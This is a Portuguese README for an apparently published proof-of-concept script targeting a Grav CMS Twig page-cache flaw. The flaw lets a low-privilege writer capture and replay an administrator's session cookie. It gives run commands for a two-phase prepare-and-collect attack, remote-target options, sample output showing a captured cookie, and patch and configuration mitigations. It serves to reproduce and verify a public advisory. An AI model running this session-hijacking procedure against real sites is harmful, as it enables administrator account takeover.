
Verificador de prova de conceito apenas local para CVE-2026-100671, reproduzindo a divulgação e a reprodução de cookies de sessão do cache de páginas Twig do Grav contra alvos de loopback.
Verificador mínimo, do lado do atacante e com escopo restrito ao alvo, para a tomada de sessão via Twig de conteúdo/cache de página do Grav corrigida no Grav 2.0.25.
Avisos:
O atacante não possui o nome de usuário nem a senha do administrador.
A cadeia real é:
A ação do administrador ocorre fora deste script. O exploit.py não aceita
nenhuma configuração GRAV_ADMIN_USERNAME ou GRAV_ADMIN_PASSWORD.
O loopback é o limite de segurança padrão. Um alvo não-loopback exige a
flag explícita --allow-remote, destinada a uma máquina HTB, TryHackMe ou de
laboratório própria e autorizada.
O cliente segue redirecionamentos apenas quando eles permanecem na origem do alvo selecionado,
usa clientes HTTP da biblioteca padrão do Python, aplica timeouts de requisição e imprime
o cookie capturado apenas quando --show-cookie é explicitamente fornecido.
Use apenas contra uma instância do Grav que você possui ou está explicitamente autorizado a testar. O script cria uma página de prova pública. Remova essa página após o teste se o alvo mantiver conteúdo entre execuções.
get_cookie() lê o cookie de sessão do administrador visitante no lado do servidor.A conta de escrita de páginas precisa apenas do caminho de escrita com baixos privilégios. Ela não precisa de
api.pages.read, admin.*, acesso de super-administrador ou credenciais de administrador.
2.0.19 até 2.0.24: vulnerável com a configuração padrão de Twig de conteúdo
fornecida.2.0.0 até 2.0.18, e 1.7.x: afetado apenas quando o Twig de conteúdo
foi explicitamente habilitado.2.0.25: corrigido.Execute um alvo Grav com:
Este repositório de dois arquivos não provisiona Grav, PHP, plugins, contas ou um bot de administrador. A visita da vítima permanece uma ação externa.
Defina apenas a credencial ou o token do redator com baixos privilégios:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
O script cria uma rota pública aleatória, imprime o seu URL e aguarda. Peça ao administrador para visitar esse URL uma vez e, em seguida, pressione Enter. O script realiza a recolha anónima e a reprodução local da API.
Utilize um token de API de escritor existente em vez disso:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
Útil para um terminal não interativo ou um navegador da vítima separado.
Prepare a página:
python3 exploit.py --prepare-only
Peça a um administrador que visite a URL impressa. Em seguida, colete e reproduza usando a rota impressa; nenhuma credencial é necessária para esta segunda fase:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie imprime o cookie de sessão capturado para depuração local/em laboratório autorizado:
captured_cookie=grav-site-<hash>=<session-value>
O valor é uma credencial ativa. Não a cole no GitHub, em issues, no chat, em capturas de tela ou em logs. Sem --show-cookie, o script comprova o mesmo impacto por meio do status de replay, mantendo o valor fora da saída.
Se a coleta for executada antes da visita do administrador, a requisição do atacante pode preencher o cache com um valor vazio. Prepare uma nova rota aleatória e repita.
Não codifique um IP de máquina no repositório. Forneça o alvo atual em tempo de execução:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
Depois que o administrador/bot visitar a URL impressa, colete e reproduza:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url continua sendo um alias de compatibilidade para --target. O HTTP remoto imprime
um aviso de texto não criptografado; use HTTPS onde a máquina oferecer suporte.
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
A linha captured_cookie aparece apenas com --show-cookie.
Execute o mesmo fluxo de duas fases contra o Grav 2.0.25 ou posterior e, em seguida, colete com:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
Comportamento fixo esperado: nenhum valor de sessão visível ao atacante e nenhuma
reprodução de sessão bem-sucedida. Um resultado fixo limpo sai com 0 com --expect fixed.
Atualize para o Grav 2.0.25 ou posterior. Para implantações mais antigas, o aviso lista
estes controles temporários:
security.twig_content.process_enabled: false; ousystem.pages.never_cache_twig: true;Não trate HttpOnly, Secure ou SameSite como correção: a leitura vulnerável do
cookie ocorre no lado do servidor durante a renderização do Twig.
Reportado por canhieu. Este repositório é um auxílio de reprodutibilidade para o aviso já público, não um scanner remoto nem uma ferramenta de coleta de credenciais.